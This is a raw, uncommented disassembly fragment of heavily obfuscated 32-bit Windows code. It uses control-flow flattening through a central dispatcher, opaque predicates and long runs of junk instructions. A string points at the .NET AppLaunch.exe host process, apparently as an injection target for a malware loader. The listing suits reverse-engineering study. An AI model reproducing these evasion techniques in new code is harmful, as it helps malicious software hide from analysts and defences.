not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0x5380715f
cmovne eax, esi
test cl, 1
cmovne eax, edi
test dl, 1
cmove eax, esi
jmp 0x402240
cmp eax, 0xc2de820
je 0x40d4e7
cmp eax, 0xebb9621
jne 0x402240
vmovups ymm0, ymmword [0x4521d8]
vmovups ymm1, ymmword [0x4521c0]
mov eax, dword [ebp - 0x64]
vmovups ymm2, ymmword [0x4521a0]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x68]
setne byte [eax]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x68]
mov eax, 0x22b8faa2
jmp 0x402240
cmp eax, 0xb00407de
je 0x40d5cf
cmp eax, 0xb123213f
jne 0x402240
mov eax, 0x46d8d6aa
jmp 0x402240
cmp eax, 0x6913b463
je 0x40d5fc
cmp eax, 0x6b16484a
jne 0x402240
mov eax, 0xbb1ab72b
jmp 0x402240
cmp eax, 0xf2e5ee34
je 0x40d606
cmp eax, 0xf4d8d461
jne 0x402240
mov eax, 0x62b722e6
jmp 0x402240
cmp eax, 0x29b9f4d0
je 0x40d610
cmp eax, 0x29e73935
jne 0x402240
cmp byte [ebp - 0x78], 0
mov eax, 0x6b8e2f0c
mov ecx, 0xae9d12b3
cmovne eax, ecx
jmp 0x402240
cmp eax, 0x976dc616
je 0x40d61a
cmp eax, 0x995f5204
jne 0x402240
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xe8]
mov edi, 0x59b016bb
mov dword [eax], ecx
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x25c070
and eax, 0x4a100388
mov edx, ecx
or edx, 0x94422005
and esi, 0x9467e075
and ecx, 0x21881c02
and edx, 0x9467e075
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xb5ca3c07
and ecx, 0x4a35c3f8
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0xddfcdb86
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x22032478
or eax, esi
mov esi, edx
not esi
and edx, 0xddfcdb87
or ecx, esi
and esi, 0x22032478
or edx, esi
not ecx
mov esi, 0x96e86f17
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x11df93da
and eax, 0xee206c25
or eax, edx
xor eax, 0xee206c25
or eax, ecx
cmp eax, 0xffffffff
sete dl
cmp dword [0x4a2b80], 0xa
setl al
setge cl
mov ah, al
xor al, dl
xor cl, dl
or ah, dl
xor al, 1
xor cl, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
mov ch, dl
test dl, 1
not ch
cmovne esi, edi
test ch, cl
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
test ch, cl
mov ecx, dword [ebp - 0xa4]
cmove eax, esi
jmp 0x402240
cmp eax, 0x5cf3cd7d
je 0x40d624
cmp eax, 0x5d33e117
jne 0x402240
mov eax, dword [ebp - 0xb4]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg ebx
dec esi
not edx
inc edi
imul esi
rcr eax, 0xd0
ror edx, 0x44
dec esi
and edx, 0x8d
ror edx, 0xf5
sbb ebx, 0x23
bswap esi
inc esi
bswap ebx
and esi, 0x3d
rcl ebx, 0xa6
not ebx
or edx, 0x19
and ebx, 0x51
rcr esi, 0x55
neg ebx
rol esi, 0x98
dec esi
or edx, 0x7d
sbb ebx, 0xd7
mov eax, 0x84
dec eax
bswap esi
inc edx
neg esi
add esi, 0x63
dec esi
sub edi, 0xc2
mov edi, 0xde
sbb edx, 0xa0
bswap esi
add eax, 0xb5
dec esi
rol ebx, 0xaf
ror esi, 0x66
not esi
dec esi
inc ebx
rcl ebx, 0xb7
bswap edi
or edi, 0x36
neg esi
dec esi
dec ebx
ror edx, 0xc8
mov edi, 0xeb
dec eax
and eax, 1
not esi
sub edx, 0x8e
bswap edi
imul eax
not ebx
rcr eax, 0x3a
add ebx, 0x32
imul eax
and edx, 0x3c
sub edi, 0x25
dec eax
rol eax, 0xfb
sub eax, 0xb2
imul edi
or ebx, 0xf1
inc ebx
imul ebx
inc edx
bswap eax
neg edx
sub esi, 0x77
and eax, 0x8f
not esi
sub eax, 0x4d
add edx, 0x22
rcr ebx, 0xfa
sbb ebx, 0x3f
dec edi
bswap edx
sub ebx, 0xde
ror eax, 0x9d
neg edx
not edi
inc edi
rcr edi, 0xb
or ebx, 0x4f
rcr edx, 0x30
dec esi
neg edi
neg esi
inc esi
rol eax, 0xe3
dec edx
and eax, 0x13
inc esi
dec ebx
dec eax
or edx, 0xe5
imul eax
and eax, 0xd4
rcr eax, 0x33
not ebx
inc esi
sub esi, 0x2a
dec edx
or ebx, 0xab
sub edi, 0xe0
imul esi
rcr esi, 0x7b
ror edx, 0x3c
rcl edi, 6
rol edi, 6
not edx
not esi
or edi, 0xa5
rcl eax, 0xb0
imul edx
mov edx, 0x85
rcl esi, 0x6a
rcr eax, 0x93
not edi
rol edx, 0x8f
sbb ebx, 0xc6
imul edx
rol esi, 0x3b
or edi, 0xfc
mov esi, 0x5b
or edi, 0x2c
ror ebx, 0x9d
bswap ebx
rcl edx, 0xb3
ror edx, 0x55
bswap eax
ror esi, 0x97
rol esi, 0xb0
bswap edx
bswap eax
rcl edx, 0x35
neg eax
and eax, 0x7c
not edi
dec eax
or edx, 0x73
inc eax
rol edi, 0xe1
imul edi
mov edx, 0xea
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov eax, 0xeee7b77c
jmp 0x402240
cmp eax, 0xe0dcea9e
je 0x40d7f5
cmp eax, 0xe0dd7b9b
jne 0x402240
mov eax, 0xd9684648
jmp 0x402240
cmp eax, 0x1dbb5061
je 0x40d821
cmp eax, 0x1e3c51a8
jne 0x402240
mov eax, 0x30f2db5f
jmp 0x402240
cmp eax, 0xc413fc07
je 0x40d82b
cmp eax, 0xc4e833eb
jne 0x402240
mov eax, 0x3648d350
jmp 0x402240
cmp eax, 0x794d1c43
je 0x40d8eb
cmp eax, 0x7ac10576
jne 0x402240
mov eax, dword [ebp - 0x24]
mov eax, dword [0x4a2b84]
mov esi, 0xfd486c1f
mov edi, 0x2190d9b5
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x459c83e7
and ecx, 0xba637c18
or ecx, edx
mov eax, ecx
mov edx, ecx
xor ecx, 0xba637c18
xor eax, 0x459c83e7
xor edx, 0x459c83e6
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x60597f93
and ecx, 0x9fa6806c
or ecx, eax
mov eax, ecx
xor eax, 0x1684002c
xor ecx, 0x60490601
and ecx, 0xe96b8641
and eax, 0x169479be
or eax, ecx
mov ecx, eax
xor ecx, 0x410a0641
xor eax, 0x84400a
and eax, 0xa8e5c00a
and ecx, 0x571a3ff5
or ecx, eax
xor ecx, 0x571a3ff5
sete dl
setne cl
cmp dword [0x4a2b80], 0xa
setge al
setl ah
mov ch, al
or al, cl
xor ch, cl
xor cl, ah
not cl
and ch, dl
mov edx, eax
and cl, ah
not dl
or cl, ch
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0x2190d9b5
or ah, cl
mov ch, al
xor ch, ah
test ah, ah
cmovne edx, esi
test al, al
cmovne edx, edi
test ch, ch
jmp 0x40abe6
cmp eax, 0xff2db861
je 0x40da1d
cmp eax, 0xffaf0dc1
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xee0ea77e
mov edx, eax
not edx
and ecx, eax
or eax, 0x11f15881
and edx, 0x8000564
mov esi, ecx
not esi
mov edi, eax
and edi, 0xf67ff29a
and ecx, 0x9800d65
or eax, esi
and esi, 0xf67ff29a
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdbe55205
and ecx, 0x241aadfa
or eax, ecx
mov ecx, eax
mov esi, eax
xor ecx, 0xca140a84
xor esi, 0xb9f57338
and esi, ecx
mov ebx, ecx
or ebx, 0x8c1e8643
or ecx, 1
mov edx, esi
not edx
and esi, 0x5e991d65
and ecx, 0xd79c42e3
mov edi, edx
and edi, 0xa166e29a
or edx, ebx
and ebx, 0xa166e29a
or esi, edi
mov edi, eax
xor edi, 0x10811120
not edx
xor eax, 0x2063b518
and edi, 0x52811924
and eax, 0x2863bd1c
or edi, ebx
or ecx, eax
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x8c1e8642
and esi, 0x73e179bd
or edx, esi
mov eax, edx
not eax
and edx, 0xa89c684c
mov esi, eax
and esi, 0x576397b3
or edx, esi
mov esi, ecx
xor esi, 0x809c4040
xor ecx, 0x2863bd1c
or eax, ecx
and ecx, 0x576397b3
and esi, 0xa89c684c
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x8ebd1b19
mov edx, eax
xor edx, 0x66d5210c
mov ecx, eax
and ecx, 0x22c52100
and edx, eax
not eax
and eax, 0x4410000c
or ecx, eax
xor ecx, 0x22c52100
or ecx, edx
not edx
and edx, 0x992adef3
and ecx, 0x66d5210c
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xfa473ea4
mov edx, eax
and edx, 0x5b8c15b
or ecx, edx
xor ecx, 0xfa473ea4
or ecx, eax
xor ecx, 0xffffffff
sete dl
setne ah
cmp dword [0x4a2b80], 0xa
setge al
setl cl
and ah, cl
and al, dl
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
xor al, 1
xor ah, 1
mov edx, eax
or cl, ah
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x45dac5cf
cmovne eax, esi
test dl, dl
mov edx, 0x45dac5cf
jmp 0x4094a2
cmp eax, 0x35badffd
je 0x40da45
cmp eax, 0x35d2e8e2
jne 0x402240
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, 0x1a4cc67a
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0xd8], ecx
jmp 0x402240
cmp eax, 0x844fab23
je 0x40da5d
cmp eax, 0x85130339
jne 0x402240
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
add eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, 0xc62b98c1
jmp 0x402240
cmp eax, 0x43b25675
je 0x40db98
cmp eax, 0x4461f1a5
jne 0x402240
mov eax, dword [ebp - 0x40]
mov dword [eax], 0x40
mov eax, 0x794d1c43
jmp 0x402240
cmp eax, 0xc6a16492
je 0x40dbae
cmp eax, 0xc7732b7d
jne 0x402240
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x64]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, 0x5b43002
jmp 0x402240
cmp eax, 0x47e6041
je 0x40dbc7
cmp eax, 0x5b43002
jne 0x402240
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x64]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [0x4a2b84]
add eax, eax
mov word [ebp - 0xce], ax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0xbe19484
mov esi, edx
mov edi, edx
or esi, 0x4020302
and ecx, 0xfe39786
and edi, 0xc0040820
and edx, 0xb723015c
or edi, ecx
mov ecx, eax
and esi, 0xfe39786
and ecx, 0x30186059
and eax, 0x48dcfea3
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0xa177cbe5
and esi, 0x5e88341a
or ecx, esi
mov esi, ecx
xor esi, 0x8006
xor ecx, 0x9a8e3f39
mov edx, ecx
and edx, 0xfd7343f8
and esi, 0x28cbc07
or esi, edx
mov edx, eax
xor edx, 0x8cbc03
xor eax, 0xb5230158
and eax, 0xfd7343f8
and edx, 0x28cbc07
or edx, eax
xor edx, esi
mov esi, 0x60d08ab3
xor ecx, edx
test ecx, edx
sete dl
cmp dword [0x4a2b80], 0xa
setl ah
mov cl, ah
or ah, dl
xor cl, dl
xor ah, 1
or ah, cl
mov al, cl
mov ch, ah
xor al, 1
xor ch, 1
mov dl, ch
and dl, ah
xor ch, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
and dl, al
xor ah, 1
or al, ah
and ah, cl
or ah, dl
mov ecx, eax
mov edx, 0xc7732b7d
xor cl, ah
test cl, 1
mov ecx, 0x60d08ab3
jmp 0x40d5be
cmp eax, 0x9fceccc9
je 0x40dd69
cmp eax, 0xa22e98b8
jne 0x402240
mov eax, 0x2d405583
jmp 0x402240
cmp eax, 0x61456141
je 0x40213c
cmp eax, 0x61dcc12d
jne 0x402240
mov ecx, dword [0x4a2b84]
mov edi, 0xfb166bb5
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x4adb4ae4
mov ecx, esi
and ecx, 0xb524b51a
and esi, 0xf6245fa0
or edx, ecx
mov ecx, eax
and ecx, 1
and eax, 0x9dba05f
xor edx, 0x4adb4ae4
or eax, esi
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xcd43aaa8
and edx, 0x32bc5557
or edx, esi
mov esi, eax
xor esi, 0x980057
xor eax, 0xf6245fa0
or ecx, eax
and eax, 0xcd43aaa8
and esi, 0x32bc5557
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x2b464c03
cmp ecx, 0xffffffff
setne cl
cmp dword [0x4a2b80], 0xa
mov ah, cl
setl dl
setge al
or al, cl
xor cl, dl
or ah, dl
not cl
xor ah, 1
xor al, 1
and cl, dl
or cl, ah
xor cl, al
mov edx, ecx
cmovne esi, edi
not dl
test dl, al
cmovne esi, edi
test cl, cl
mov ecx, esi
cmovne ecx, edi
test dl, al
cmove ecx, esi
mov eax, ecx
jmp 0x402240
cmp eax, 0xe5da2b57
je 0x40dd73
cmp eax, 0xe6fa3224
jne 0x402240
mov eax, dword [ebp - 0xf8]
push dword [eax]
push dword [ebp - 0xf4]
push dword [ebp - 0xec]
vzeroupper
call fcn.00445b00
add esp, 0xc
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
not ecx
and edx, eax
or eax, 1
mov esi, ecx
and esi, 0x1406302a
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xebf9cfd5
and edx, 0x1406302a
or eax, ebx
and ebx, 0xebf9cfd5
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0xb12d340a
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x4a2b80], 0xa
setge dl
or cl, dl
xor al, dl
mov ah, cl
mov edx, eax
xor ah, 1
xor dl, 1
and ah, al
and dl, cl
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xcb6e93d2
cmovne eax, esi
test dl, dl
mov edx, 0xcb6e93d2
cmove eax, esi
test cl, cl
cmove eax, edx
jmp 0x402240
cmp eax, 0x219f41e4
je 0x40df02
cmp eax, 0x21b45faf
jne 0x402240
mov eax, 0xb8e7868c
jmp 0x402240
cmp eax, 0x91a61c02
je 0x40e03a
cmp eax, 0x91cb36d3
jne 0x402240
mov eax, 0x454b1de0
jmp 0x402240
cmp eax, 0x5380715f
je 0x40e106
cmp eax, 0x53c65ca9
jne 0x402240
mov eax, 0xce73effe
jmp 0x402240
cmp eax, 0xd215ae30
je 0x40e119
cmp eax, 0xd3e8181f
jne 0x402240
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x38]
add eax, 4
mov dword [ebp - 0x110], eax
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x40018408
and ecx, 0x999c0002
mov edx, eax
and edx, 0x22007a81
or eax, 0x42013200
or esi, edx
and eax, 0x46633374
mov edx, esi
xor edx, 0x8408
xor esi, 0x6623374
or ecx, eax
and esi, 0x46633374
and edx, 0x2000cc89
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0xdecce0a3
and eax, 0x21331f5c
or ecx, eax
mov eax, ecx
xor ecx, 0x4332e1d4
xor eax, 0xbccd1e2a
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0xdbc43b27
mov edx, eax
not edx
and ecx, eax
or eax, 0x243bc4d8
and edx, 0xc0402806
mov edi, ecx
not edi
mov esi, eax
and esi, 0x3b8617b1
and ecx, 0xc479e84e
or eax, edi
and edi, 0x3b8617b1
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5bda53c7
and ecx, 0xa425ac38
or eax, ecx
mov ecx, eax
xor ecx, 0x142860
xor eax, 0x1260811b
and ecx, 0x6d953e64
and eax, 0x926ac19b
or eax, ecx
xor eax, 0x926ac19b
sete cl
setne al
cmp dword [0x4a2b80], 0xa
setge ah
mov dl, ah
xor dl, al
or al, ah
or ah, cl
and dl, cl
xor ah, 1
or ah, dl
mov dl, ah
mov ch, ah
xor dl, 1
mov cl, dl
or dl, al
and cl, ah
xor cl, 1
xor ch, cl
or cl, ah
mov ah, al
xor cl, 1
xor ah, 1
or cl, ch
mov ch, dl
and ah, cl
xor cl, 1
and cl, al
or cl, ah
mov eax, 0x2b60bb4e
xor ch, cl
test dl, dl
mov edx, 0xfada1ead
cmovne eax, edx
test cl, cl
not ch
cmove eax, edx
test ch, 1
mov edx, 0x2b60bb4e
cmovne eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, 0xfe2c0615
jmp 0x402240
mov eax, 0xddc09c0b
jmp 0x402240
mov eax, dword [ebp - 0x20]
mov dword [eax], 5
mov eax, 0x4f106793
jmp 0x402240
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xe4], eax
mov eax, 0xf56e9253
jmp 0x402240
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
mov eax, 0x1a8534ee
jmp 0x402240
mov eax, 0xe4559994
jmp 0x402240
mov eax, dword [0x4a2b84]
mov esi, 0x9d6ebbcb
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 1
and edx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
setge cl
setl al
mov ch, cl
and dl, al
xor al, ah
xor ch, ah
and ch, cl
and cl, ah
or cl, dl
or cl, ch
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
xor dl, 1
xor al, dl
or dl, cl
mov ecx, eax
xor cl, dl
test dl, 1
mov edx, 0xca599357
cmovne edx, esi
test al, 1
not cl
mov eax, 0xca599357
cmovne edx, esi
jmp 0x40a79b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x9c]
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1e610241
mov edx, eax
and edx, 0x2088b418
and eax, 0xc11649a6
or ecx, edx
xor ecx, 0x1e610241
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x842e4fd2
and eax, 0x88085900
mov esi, edx
and esi, 0x7bd1b02d
or edx, 0x4045a088
or ecx, esi
and edx, 0x4445a2a9
mov edi, ecx
xor edi, 0x4041a008
mov esi, ecx
xor esi, 0x220452
or eax, edx
or edi, 0x4000221
and esi, 0x33b20456
and edi, 0x4445a2a9
or esi, edi
xor eax, esi
mov esi, 0xa50007a0
mov edx, eax
not edx
and eax, 0xc3641e78
and edx, 0x3c9be187
or eax, edx
mov edx, ecx
xor edx, 0x84280ec0
xor ecx, 0x72c1b008
or edx, 1
and ecx, 0x72c7f11a
xor eax, 0xb093baa7
and edx, 0x8d380ee5
or edx, ecx
xor edx, 0x8d380ee5
or edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xfce58f3e
and eax, 0x31a70c1
or eax, ecx
xor eax, 0xfce58f3e
xor edx, eax
test edx, eax
sete ah
setne ch
cmp dword [0x4a2b80], 0xa
setge al
setl dl
mov cl, al
xor cl, ch
mov dh, cl
and cl, al
and al, ah
and dh, ch
and ch, dl
or dl, ah
mov bl, dh
or al, ch
xor dh, cl
xor cl, 1
xor bl, 1
xor al, 1
or cl, bl
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, dh
or al, ah
mov edx, ecx
mov ah, al
xor dl, al
xor ah, 1
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x669a844f
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
jmp 0x40bc7a
movzx eax, word [ebp - 0xcc]
mov ecx, dword [ebp - 0x184]
mov edx, 0x4d4931ed
cmp ecx, eax
mov eax, 0x5cf3cd7d
cmovl eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov eax, 0x81504a1a
jmp 0x402240
mov ecx, dword [ebp - 0x18c]
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x4e098ef9
and edx, 0xb1f67106
or eax, edx
mov edx, ecx
xor edx, 0x3ad391a4
mov esi, eax
xor eax, 0x30d21104
and edx, ecx
xor esi, 0xa000080
mov ebx, edx
or eax, 0xc52c6e5b
not ebx
and esi, 0xa500184
and edx, 0xca5c0b86
mov edi, eax
or eax, ebx
and edi, 0x35a3f479
and ebx, 0x35a3f479
or esi, edi
or edx, ebx
not eax
xor edx, esi
or eax, edx
mov edx, eax
not edx
and eax, 0xb76d7dc
and edx, 0xf4892823
or eax, edx
mov edx, eax
xor edx, 0x71a54678
xor eax, 0x8e5ab987
and edx, ecx
andn ecx, ecx, eax
or edx, ecx
mov ecx, 0x6bf1b363
not edx
or edx, eax
mov eax, 0xc29a4345
cmp edx, 0xffffffff
cmove eax, ecx
jmp 0x402240
and eax, 0x7e
bswap eax
neg edx
ror edi, 0x36
rcl ebx, 0xe2
inc edi
sbb edi, 0xc0
add ebx, 0x54
inc ebx
not eax
sbb eax, 0x6c
neg ebx
neg ebx
sbb esi, 0xe2
bswap eax
rcr ebx, 0x2d
inc ebx
rol edx, 0x2a
inc eax
inc ebx
ror ebx, 4
bswap edx
and ebx, 0xe4
imul esi
sub eax, 0xfc
imul esi
or edi, 0x50
add esi, 0xd8
rcr edx, 0x82
add eax, 0xb1
bswap esi
inc edx
or esi, 0x6f
not edx
dec ebx
neg eax
dec ebx
mov edi, 0x8c
mov edi, 0x67
not ebx
or esi, 0x91
and esi, 0xbf
not edi
rcl edx, 0xe0
rcl edx, 0x52
not edi
sbb esi, 0x62
bswap eax
inc esi
bswap edx
or esi, 0x96
or edi, 0xe8
imul ebx
rcr edx, 0xb
bswap ebx
dec edi
rcl ebx, 0x51
rcr edx, 0x3f
dec eax
and edx, 0x92
bswap edx
not edi
and esi, 0x80
or eax, 0x2f
sbb ebx, 0x3e
dec eax
rol edx, 0x2d
not esi
rcl edx, 0xa5
neg ebx
rcl esi, 0xaa
or eax, 0xdd
rol esi, 0x2a
ror esi, 0
neg ebx
dec eax
imul edi
dec ebx
add esi, 0x30
bswap edi
dec edx
neg edx
neg edi
imul ebx
inc ebx
imul esi
add ebx, 0xee
neg esi
rcr eax, 0xa2
imul edi
sbb edi, 0x32
bswap eax
mov edi, 0xd8
inc ebx
not eax
bswap ebx
dec ebx
not eax
rol eax, 0x36
bswap edx
dec ebx
dec edi
not edx
ror edx, 0x6d
rol esi, 0x12
rcl esi, 0x69
dec edx
bswap esi
not edx
not edx
or esi, 0xff
mov edx, 0xe
mov esi, 0xac
mov edx, 0xdc
neg ebx
sbb eax, 0xda
inc edx
not ebx
not edx
inc esi
not ebx
imul eax
inc edi
and esi, 0x31
rcr edx, 0x7f
neg ebx
bswap ebx
dec edx
not edx
sub edi, 0x92
imul edx
imul esi
mov esi, 0xbb
and ebx, 0xae
rcl esi, 0x66
dec ebx
or eax, 0x45
inc eax
and edi, 0x6a
add edx, 0x7b
bswap edx
inc esi
mov edi, 0xe9
and eax, 0xb3
inc ebx
not edx
dec ebx
mov edx, 0x1d
rcr ebx, 0xb
sub eax, 0x3f
ror eax, 0xde
imul eax
rol ebx, 9
sub esi, 0xa2
neg eax
bswap eax
dec edi
bswap edx
mov edi, 0x67
inc ebx
dec edi
ror eax, 0x7f
dec edi
add ebx, 0x97
imul ebx
imul ebx
rcr eax, 0x84
imul eax
not esi
sub esi, 0x6d
rcr ebx, 0x64
rcl ebx, 0xcd
or ebx, 5
inc edx
rcr esi, 0x6c
bswap eax
rcl ebx, 0x3d
ror edi, 0xe
neg edi
bswap ebx
neg esi
inc edx
not esi
imul edx
not edx
sbb edx, 0xd0
dec edx
inc ebx
sub edx, 0x4a
rcl ebx, 0x14
mov edx, 0x8a
dec edx
sbb eax, 0x56
imul edx
add eax, 0x3e
rcl esi, 0x4c
neg ebx
dec edi
rcr eax, 0x8c
rcl esi, 0x48
sub ebx, 0xb6
ror edx, 4
mov ebx, 0x3f
dec esi
neg edi
not edx
or ebx, 0xe5
sub edx, 0x7f
and edx, 0xf3
inc eax
rcr edx, 0x65
sbb ebx, 0x60
rcl esi, 0x96
ror edi, 0xa3
inc eax
or edx, 0x43
bswap esi
not esi
rol edx, 5
bswap edi
sub esi, 0x29
sbb edx, 0x46
not eax
rol edi, 0x5a
bswap eax
or edx, 0x96
or esi, 0x44
ror edi, 0x53
and edi, 0x13
ror esi, 0x7d
ror ebx, 0xdc
or esi, 0x24
rol esi, 0x8f
sbb edi, 0x68
neg ebx
not edx
bswap esi
imul ebx
or edi, 0xdb
imul esi
inc esi
dec eax
add esi, 0xed
imul esi
not eax
inc edx
sub eax, 0xf9
sub esi, 0xe6
and esi, 0xe6
rcl ebx, 0xfa
add esi, 0x36
bswap edx
inc edx
sbb edx, 0x65
not esi
mov edi, 0xbc
add ebx, 0x80
dec edx
and esi, 2
sbb eax, 0xba
imul edx
inc edx
rcr edx, 0xe6
or edi, 0xf8
bswap eax
imul ebx
mov edi, 0x64
neg eax
rol esi, 0x42
ror ebx, 0xa5
or ebx, 7
rcr edi, 0xa6
neg ebx
sub edi, 0x74
rcr ebx, 0x68
neg esi
sbb edx, 0x68
or eax, 0xb9
sbb edx, 5
rcl edx, 0xd1
rcr ebx, 0x46
inc eax
ror edx, 0xfe
sbb esi, 0xa9
add edi, 0xc5
bswap esi
imul eax
and esi, 0x67
neg edx
inc esi
imul eax
rcr ebx, 0xfb
or eax, 0x41
ror eax, 2
rol eax, 0xb7
neg edx
mov ebx, 0x71
sbb edi, 0x9a
and edi, 0x70
not ebx
mov edx, 0xbf
bswap esi
not esi
ror edx, 0xb9
imul edi
dec esi
inc edi
imul eax
add ebx, 0x6d
imul edx
neg esi
add edx, 0x6f
imul eax
ror esi, 0xa
imul edx
not eax
rcl eax, 0x53
rcl edx, 0xf1
rol eax, 0x50
rcl edi, 0xe4
neg ebx
mov edx, 9
inc ebx
neg ebx
ror eax, 0xce
and edi, 0x23
